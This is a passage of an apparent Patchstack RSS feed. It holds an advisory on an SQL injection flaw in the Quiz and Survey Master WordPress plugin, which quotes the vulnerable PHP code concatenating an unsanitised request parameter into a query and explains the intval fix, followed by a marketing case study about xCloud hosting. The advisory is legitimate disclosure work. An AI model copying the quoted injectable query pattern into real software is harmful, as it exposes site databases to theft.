                &lt;path d=&quot;m17.8197 17.2508v22.7491l-17.8197-27.3009z&quot;/&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</content:encoded><category>Case Studies</category><author>Lana Rafaela</author></item><item><title>SQL Injection Vulnerability in Quiz and Survey Master (QSM) Plugin Affecting 40k+ Sites</title><link>https://patchstack.com/articles/sql-injection-vulnerability-in-quiz-and-survey-master-qsm-plugin-affecting-40k-sites/</link><guid isPermaLink="true">https://patchstack.com/articles/sql-injection-vulnerability-in-quiz-and-survey-master-qsm-plugin-affecting-40k-sites/</guid><description>This blog post is about a Subscriber+ SQL injection vulnerability in the Quiz and Survey Master (QSM) plugin. If you’re a QSM user, please update to at least version 10.3.2. This vulnerability was discovered and reported by Patchstack Alliance community member Doan Dinh Van. About the Quiz and Survey Master plugin The QSM plugin, with […]
</description><pubDate>Thu, 29 Jan 2026 11:59:07 GMT</pubDate><content:encoded>


&lt;p class=&quot;wp-block-paragraph&quot;&gt;This blog post is about a Subscriber+ SQL injection vulnerability in the Quiz and Survey Master (QSM) plugin. If you’re a QSM user, please update to at least version &lt;strong&gt;10.3.2.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;em&gt;This vulnerability was discovered and reported by &lt;a href=&quot;https://patchstack.com/bug-bounty/&quot;&gt;Patchstack Alliance community&lt;/a&gt; member &lt;a href=&quot;https://patchstack.com/database/researchers/d57fea86-4a5d-456f-98bb-6e168e13752f&quot;&gt;Doan Dinh Van&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;


&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;✌️ Our users are protected from this vulnerability. Are yours?&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Web developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Mitigate vulnerabilities in real-time without changing code.&lt;/p&gt;
            &lt;a href=&quot;/pricing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;See pricing&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Identify vulnerabilities in your plugins and get recommendations for fixes.&lt;/p&gt;
            &lt;a href=&quot;/auditing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Request audit&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting companies&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users, improve server health and earn additional revenue.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;About the Quiz and Survey Master plugin&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The &lt;a href=&quot;https://wordpress.org/plugins/quiz-master-next/&quot;&gt;QSM&lt;/a&gt; plugin, with over 40,000 active installations, is a plugin for creating quizzes, surveys, and forms. It includes advanced features like multimedia support and a drag-and-drop quiz builder.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;329&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-5.19.00-PM-1024x329.png&quot; alt=&quot;A screenshot of the plugin&apos;s animated banner, promoting the plugin&apos;s features.&quot; class=&quot;wp-image-25436&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-5.19.00-PM-1024x329.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-5.19.00-PM-300x96.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-5.19.00-PM-768x247.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-5.19.00-PM-1536x493.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-5.19.00-PM-2048x658.png 2048w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;The security vulnerability&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In versions &lt;strong&gt;10.3.1&lt;/strong&gt; and below, the QSM plugin is vulnerable to SQL injection, allowing any logged-in user to inject commands into the database. This means any Subscriber or higher user is able to perform a wide variety of unwanted actions, including potentially extracting sensitive information stored in the site’s database.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This vulnerability has been patched in version &lt;strong&gt;10.3.2&lt;/strong&gt; and is tracked with &lt;strong&gt;CVE-2025-67987.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The root cause of the issue lies in the &lt;strong&gt;&lt;em&gt;qsm_rest_get_question&lt;/em&gt;&lt;/strong&gt; function:&lt;/p&gt;



&lt;pre title=&quot;php/rest-api.php, function qsm_rest_get_question&quot; class=&quot;wp-block-code has-small-font-size&quot;&gt;&lt;code lang=&quot;php&quot; class=&quot;language-php&quot;&gt;function qsm_rest_get_question( WP_REST_Request $request ) {
	// Makes sure user is logged in.
	if ( is_user_logged_in() ) {
		global $wpdb;
		$current_user = wp_get_current_user();
		if ( 0 !== $current_user ) {
			$question       = QSM_Questions::load_question( $request[&amp;#39;id&amp;#39;] );
			$categorysArray = QSM_Questions::get_question_categories( $question[&amp;#39;question_id&amp;#39;] );
			if ( ! empty( $question ) ) {
				$is_linking = $request[&amp;#39;is_linking&amp;#39;];
				$comma_separated_ids = &amp;#39;&amp;#39;;
				if ( 1 &amp;lt;= $is_linking ) {
					if ( isset( $question[&amp;#39;linked_question&amp;#39;] ) &amp;amp;&amp;amp; &amp;#39;&amp;#39; == $question[&amp;#39;linked_question&amp;#39;] ) {
						$comma_separated_ids = $is_linking;
					} else {
						$linked_question = isset($question[&amp;#39;linked_question&amp;#39;]) ? $question[&amp;#39;linked_question&amp;#39;] : &amp;#39;&amp;#39;;
						$exploded_question_array = explode(&amp;#39;,&amp;#39;, $linked_question);
						if ( ! empty($linked_question) ) {
							$exploded_question_array = array_merge([ $is_linking ], $exploded_question_array);
						} else {
							$exploded_question_array = [ $is_linking ];
						}
						$comma_separated_ids = implode(&amp;#39;,&amp;#39;, array_unique($exploded_question_array));
					}
				}

				$quiz_name_by_question = array();
				if ( ! empty($comma_separated_ids) ) {
					$quiz_results = $wpdb-&amp;gt;get_results( &amp;quot;SELECT `quiz_id`, `question_id` FROM `{$wpdb-&amp;gt;prefix}mlw_questions` WHERE `question_id` IN (&amp;quot; .$comma_separated_ids. &amp;quot;)&amp;quot; );
--------------------------- CUT HERE --------------------------- 
&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The plugin works off an assumption that the &lt;strong&gt;&lt;em&gt;is_linking&lt;/em&gt;&lt;/strong&gt; parameter is an ID, however it does no validation or sanitizing of the parameter’s value before including it in a larger list of question IDs. This list is eventually included directly in an SQL statement (&lt;code&gt;WHERE `question_id` IN (&quot; .$comma_separated_ids. &quot;)&quot;&lt;/code&gt;). Because the value is not validated (e.g., with &lt;strong&gt;&lt;em&gt;is_int&lt;/em&gt;&lt;/strong&gt;/&lt;strong&gt;&lt;em&gt;intval&lt;/em&gt;&lt;/strong&gt; to ensure the value is a number), and the SQL statement is not using a prepared statement (which ensures the value is sanitized before being integrated into the SQL query), a malicious user could send an abnormal value containing an SQL statement, and have that statement be executed as part of the &lt;strong&gt;&lt;em&gt;$quiz_results&lt;/em&gt;&lt;/strong&gt; query.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;The patch&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In version &lt;strong&gt;10.3.2&lt;/strong&gt;, the vulnerability is mitigated by validating the content of the &lt;strong&gt;&lt;em&gt;is_linking&lt;/em&gt;&lt;/strong&gt; parameter with &lt;strong&gt;&lt;em&gt;intval&lt;/em&gt;&lt;/strong&gt;. This forces the value to be an integer, regardless of the original content. By ensuring the value is an integer, it can be safely added to a query without risk of injection, as no additional SQL commands could be included.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;232&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-6.20.44-PM-1024x232.png&quot; alt=&quot;A screenshot of a diff between 10.3.1 and 10.3.2, showing the fix.&quot; class=&quot;wp-image-25437&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-6.20.44-PM-1024x232.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-6.20.44-PM-300x68.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-6.20.44-PM-768x174.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-6.20.44-PM-1536x347.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/01/Screenshot-2026-01-28-at-6.20.44-PM.png 1902w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Database calls can be dangerous. User-provided input can be untrustworthy. Combining the two is a recipe for disaster. Even when a particular value isn’t intended to be directly provided by a user, any input coming from a request can be modified and needs to be validated before use.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Any input from the user should be validated, sanitized, or both before use. In this case, intval was used to both ensure the value was a number and sanitize it by forcing the value to become a number. When the data is able to be validated as something known and safe, that’s great. For anything that may be free form or more complicated to validate, sanitization is a must. PHP itself includes some functions for type validation, and WordPress offers &lt;a href=&quot;https://developer.wordpress.org/apis/security/sanitizing/&quot;&gt;many other sanitization functions&lt;/a&gt; for many common use cases.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Regarding SQL specifically, prepared statements are &lt;strong&gt;highly&lt;/strong&gt; recommended. Prepared statements are used to tell the database or the database access APIs, “This is the actual query” and “this is data for the query”; this means the data can be treated &lt;strong&gt;specifically&lt;/strong&gt; as data, and its content won’t be used as part of the query that contains it. Whenever possible, we recommend using wpdb::prepare on any SQL queries that may contain untrusted data.&lt;/p&gt;













&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Want to learn more about finding and fixing vulnerabilities?&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://patchstack.com/academy/welcome/&quot;&gt;Explore our Academy&lt;/a&gt; to master the art of finding and patching vulnerabilities within the WordPress ecosystem. Dive deep into detailed guides on various vulnerability types, from discovery tactics for researchers to robust fixes for developers. Join us and contribute to our growing knowledge base!&lt;br&gt;&lt;/p&gt;
</content:encoded><category>Featured</category><category>Security Advisories</category><author>Chazz Wolcott</author></item><item><title>Case study: How xCloud secured managed WordPress hosting and blocked 53k+ threats with Patchstack</title><link>https://patchstack.com/articles/case-study-how-xcloud-secured-managed-wordpress-hosting-and-blocked-53k-threats-with-patchstack/</link><guid isPermaLink="true">https://patchstack.com/articles/case-study-how-xcloud-secured-managed-wordpress-hosting-and-blocked-53k-threats-with-patchstack/</guid><description>At xCloud, security has always been a core part of the managed hosting promise. As the platform grew and began managing thousands of WordPress sites, security needed to scale just as fast. To deliver proactive, real-time protection without compromising performance or operational simplicity, xCloud chose Patchstack. The challenge: Protecting from vulnerabilities that standard firewalls fail […]
</description><pubDate>Wed, 28 Jan 2026 14:38:55 GMT</pubDate><content:encoded>&lt;div class=&quot;blocks-grid--3 wp-block-patchstack-general-blocks-grid-3&quot;&gt;
    
&lt;div class=&quot;a-fade-up blocks-number-block  wp-block-patchstack-general-blocks-number-block&quot;&gt;
            &lt;p class=&quot;blocks-number-block__number&quot;&gt;53K+&lt;/p&gt;
        &lt;p class=&quot;blocks-number-block__text&quot;&gt;Threats blocked by Patchstack in 90 days across 320+ sites&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;At &lt;a href=&quot;https://xcloud.host/&quot;&gt;&lt;strong&gt;xCloud&lt;/strong&gt;&lt;/a&gt;, security has always been a core part of the managed hosting promise. As the platform grew and began managing thousands of WordPress sites, security needed to scale just as fast.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;To deliver &lt;strong&gt;proactive, real-time protection without compromising performance&lt;/strong&gt; or operational simplicity, xCloud chose Patchstack.&lt;/p&gt;


&lt;div class=&quot;block-single-testimonial-wrapper  wp-block-patchstack-general-blocks-single-testimonial&quot;&gt;
                                    &lt;/div&gt;

&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;At xCloud, security at scale is about staying ahead of real exploits, not reacting after damage is done. Integrating Patchstack into our Site Security PRO was an easy decision. I deeply trust both Patchstack’s vision and the team they’ve built. Since the integration, we’ve seen stronger protection, fewer incidents, and much greater customer confidence. Patchstack isn’t just a tool for us – it’s a team we believe in.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;200&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/1715407905077.jpeg&quot; class=&quot;wp-image-25425&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/1715407905077.jpeg 200w, https://wp.patchstack.com/wp-content/uploads/2026/01/1715407905077-150x150.jpeg 150w&quot; sizes=&quot;auto, (max-width: 200px) 100vw, 200px&quot; /&gt;&lt;span&gt;— &lt;span&gt;M Asif Rahman, Founder @ xCloud Hosting&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;The challenge: Protecting from vulnerabilities that standard firewalls fail to catch&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;For xCloud, the biggest challenge wasn’t just malicious traffic, but vulnerabilities that traditional firewalls often miss until it’s too late.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As a managed hosting provider, &lt;strong&gt;xCloud needed a solution that could:&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Quickly and proactively protect against vulnerabilities&lt;/li&gt;



&lt;li&gt;Scale seamlessly across all customer websites&lt;/li&gt;



&lt;li&gt;Integrate cleanly into a managed hosting environment&lt;/li&gt;



&lt;li&gt;Deliver protection without performance trade-offs&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As the #1 WordPress vulnerability processor with &lt;strong&gt;its own database&lt;/strong&gt; to proactively identify vulnerabilities and the provider of &lt;strong&gt;the fastest mitigation&lt;/strong&gt;, Patchstack was a perfect match for xCloud.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;The solution: Clear and effective security&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack didn’t just stand out for its effective mitigation, but for how easily it fit into xCloud’s managed hosting environment.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack integrated naturally into xCloud’s existing infrastructure and workflows. Once deployed, it &lt;strong&gt;immediately began protecting customer sites without requiring complex per-site configuration&lt;/strong&gt; or manual tuning.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This was critical: &lt;strong&gt;xCloud didn’t want a solution that required even more manual work.&lt;/strong&gt; They wanted a solution the team could manage centrally, while still delivering site-level protection across hundreds of WordPress installations. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;Patchstack delivered precisely that.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;xCloud’s engineers also valued the clarity and depth of Patchstack’s insights: &lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Alerts were easy to understand and act on&lt;/li&gt;



&lt;li&gt;Threat intelligence provided meaningful context&lt;/li&gt;



&lt;li&gt;The platform scaled effortlessly as the hosting environment grew&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Instead of adding operational burden, Patchstack simplified how xCloud monitored and managed security.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Built for integration: xCloud’s experience&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack was deployed without friction and became part of xCloud’s managed hosting stack almost immediately. &lt;/p&gt;


&lt;div class=&quot;blocks-grid--3 wp-block-patchstack-general-blocks-grid-3&quot;&gt;
    
&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-card--light  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;1️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;&lt;strong&gt;Fast, centralized rollout across managed WordPress sites&lt;/strong&gt;&lt;br&gt;Protection was enabled quickly across customer websites without requiring individual site configuration.&lt;/p&gt;
        &lt;/div&gt;

&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-card--light  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;2️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;&lt;strong&gt;Centralized management with site-level protection&lt;/strong&gt;&lt;br&gt;The xCloud team can manage security from a single place, while each site benefits from real-time vulnerability protection. As xCloud adds more users, Patchstack scales seamlessly.&lt;/p&gt;
        &lt;/div&gt;

&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-card--light  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;3️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;&lt;strong&gt;Clear alerts and actionable threat intelligence&lt;/strong&gt;&lt;br&gt;Engineers get precise, easy-to-understand alerts that speed up investigation and response.&lt;/p&gt;
        &lt;/div&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;The results&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Since integrating Patchstack, xCloud has seen clear improvements across security, operations, and customer confidence.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;In just 90 days, Patchstack delivered immediate, measurable impact:&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;53,000+ vulnerabilities blocked across 320+ WordPress sites&lt;/li&gt;



&lt;li&gt;A noticeable reduction in security-related support tickets&lt;/li&gt;



&lt;li&gt;Faster incident response thanks to actionable threat insights&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;From a business perspective, Patchstack helped &lt;strong&gt;xCloud confidently position security as a built-in feature, not an add-on,&lt;/strong&gt; to increase higher-value plan conversions, customer retention, and clear differentiation in an increasingly competitive managed hosting market.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Customer response has been overwhelmingly positive. Since introducing Patchstack, xCloud has seen increased trust during sales and onboarding, fewer emergency support requests related to hacked sites, and &lt;strong&gt;customers explicitly citing security as a reason for choosing xCloud.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As the WordPress ecosystem continues to grow and threats evolve, Patchstack remains xCloud’s long-term security partner, helping them stay ahead of attackers while scaling business globally.&lt;/p&gt;


&lt;div class=&quot;a-fade-up blocks-contant-box wp-block-patchstack-general-blocks-contact-box&quot;&gt;
        &lt;div class=&quot;blocks-contant-box__content&quot;&gt;
                    &lt;img decoding=&quot;async&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2025/07/alex.png&quot; class=&quot;wp-image-22821 blocks-contant-box__image&quot; alt=&quot;&quot;&gt;
                        &lt;div class=&quot;blocks-contant-box__details&quot;&gt;
                                        &lt;p class=&quot;blocks-contant-box__desc&quot;&gt;Want to turn your hosting plans into secure and high-converting solutions? &lt;a href=&quot;https://meetings.hubspot.com/asandham/meeting-with-alex&quot;&gt;Let’s talk about how Patchstack can help.&lt;/a&gt;&lt;/p&gt;
                                            &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;div style=&quot;height:64px&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;&lt;/div&gt;


&lt;div style=&quot;gap:;&quot; class=&quot;blocks-container       wp-block-patchstack-general-blocks-container&quot;&gt;
    
&lt;div class=&quot;block-hosts-logos block-hosts-logosu002du002dleft block-hosts-logos--dark wp-block-patchstack-general-blocks-hosts-logos&quot;&gt;
    &lt;h3 class=&quot;a-fade-up block-trusted__title&quot;&gt;trusted security partner for&lt;/h3&gt;
    &lt;div class=&quot;block-hosts-logos__images-wrapper block-hosts-logos__images-wrapper--flex&quot;&gt;
        &lt;!-- Generator: Adobe Illustrator 28.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  --&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 1250.2 277.5&quot; preserveAspectRatio=&quot;xMidYMid&quot; style=&quot;overflow: hidden;&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;defs&gt;
&lt;/defs&gt;
            &lt;!-- Generator: Adobe Illustrator 28.7.5, SVG Export Plug-In . SVG Version: 1.2.0 Build 176)  --&gt;
            &lt;g&gt;
                &lt;g id=&quot;Layer_1&quot;&gt;
                    &lt;g id=&quot;WP_x5F_Primary_Logo_x5F_Dark&quot;&gt;
                        &lt;g&gt;
                            &lt;path class=&quot;cls-3&quot; d=&quot;M1142.1,181.6c-3.1-3.1-7.2-5-11.5-5.5-.6-.1-1.3-.1-1.9-.1s-1.3,0-1.9.1c-4.4.4-8.4,2.3-11.5,5.5-7.4,7.4-7.4,19.5,0,26.9,3.6,3.6,8.4,5.6,13.4,5.6s9.8-2,13.4-5.6c7.4-7.5,7.4-19.5,0-26.9&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-1&quot; d=&quot;M1248.8,93.8c0-4.9-1.9-9.7-5.6-13.4-3.6-3.6-8.4-5.6-13.4-5.6s-9.8,2-13.4,5.6c-1.8,1.8-3.1,3.8-4,5.9-1,2.4-1.5,4.9-1.5,7.5,0,4.9,1.8,9.7,5.6,13.4,3.4,3.4,7.9,5.4,12.8,5.5h1.4c4.8-.2,9.3-2.1,12.8-5.5,3.4-3.6,5.3-8.5,5.3-13.4&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-3&quot; d=&quot;M1243.2,208.5c7.9-7.9,7.1-21.3-1.6-28.3-2.1-1.7-4.6-2.9-7.2-3.6-2.4-.6-4.8-.5-7.2-.7-5.8-.5-11.3-2.4-16-5.9-4.9-3.6-8.7-8.5-10.9-14.2-1-2.7-1.7-5.5-1.9-8.4-.2-2.4,0-4.9-.7-7.2-.9-3.9-3-7.4-6-10.1-3.6-3.1-8-4.5-12.7-4.7-5.8-.2-11.2-1.5-16.2-4.6-4.9-3-9-7.4-11.6-12.5-1.4-2.7-2.4-5.6-2.9-8.5-.5-2.5-.4-4.9-.6-7.4-.4-5.2-3-10.2-7-13.4-8.9-7-22.2-4.8-28.1,4.9-5.9,9.6-1.8,22.6,8.4,27.2,5.1,2.3,10.8,1.3,16.1,2.8,5.6,1.5,10.7,4.6,14.7,8.8,4,4.2,6.7,9.5,7.9,15.2,1,5,.3,10,2.6,14.8.9,1.9,2.2,3.7,3.7,5.2s4.4,3.5,7.1,4.5c3.3,1.1,6.6.9,10.1,1.3,7.6.9,14.8,4.6,19.9,10.3s7.9,13.1,8,20.8c0,7.4,4,14.2,10.8,17.4,6.9,3.4,15.7,2,21.3-3.7&quot;&gt;&lt;/path&gt;
                            &lt;path class=&quot;cls-3&quot; d=&quot;M1244.7,157.2c6.5-6.5,7.4-17.2,1.9-24.6-2.5-3.4-6.1-5.9-10.2-7.1-4.2-1.2-8.7-.6-12.9-1.7-9.5-2.4-17.6-9.2-21.4-18.3-1.8-4.4-2.3-8.7-2.5-13.4-.2-4.5-2.2-8.8-5.3-12.1-6.1-6.5-16.3-7.6-23.8-3-7.8,4.8-10.9,14.8-7.6,23.3,1.7,4.1,4.8,7.6,8.7,9.6,2,1.1,4.2,1.8,6.4,2,2.3.3,4.6,0,7,.5,9.6,1.4,18.3,7.3,23.1,15.8,2.3,4,3.6,8.6,3.9,13.2.2,2.5,0,4.8.7,7.2.6,2.1,1.5,4.1,2.7,5.9,5.2,7.3,14.9,10.3,23.2,6.7,2.4-1,4.4-2.3,6.1-4&quot;&gt;&lt;/path&gt;
                        &lt;/g&gt;
                        &lt;g&gt;
                            &lt;polygon class=&quot;cls-2&quot; points=&quot;0 79.5 38.2 79.5 62.7 171.3 91 79.5 121.8 79.4 151.6 171.5 176.3 79.4 213.9 79.4 169.6 213.3 136.4 213.4 106.1 125 77.2 213.4 44.6 213.4 0 79.5&quot;&gt;&lt;/polygon&gt;
                            &lt;path class=&quot;cls-2&quot; d=&quot;M293.5,217.4c-15.6,0-29.3-2.8-40.9-8.4-11.7-5.6-20.8-13.8-27.3-24.6s-9.8-23.4-9.8-38,2.8-25.7,8.4-36.5c5.6-10.8,13.6-19.3,23.9-25.5s22.4-9.4,36-9.4,23.7,2.7,33.3,8c9.6,5.3,17,13,22.4,23s8,21.8,8.1,35.5c0,5.8-.4,11.1-1.3,15.8h-94.5c4.6,20.1,19.8,30.1,45.5,30.1s15.9-.8,23.5-2.5,14.5-4.1,20.7-7.2l3.7,28.7c-6.3,3.5-14,6.2-23.1,8.2-9,1.8-18.6,2.8-28.6,2.8M312.6,131.9c-.9-9.3-3.9-16.4-9.1-21.4s-12.1-7.5-20.7-7.5-15.4,2.5-20.8,7.5-8.9,12.2-10.5,21.5h61.1Z&quot;&gt;&lt;/path&gt;
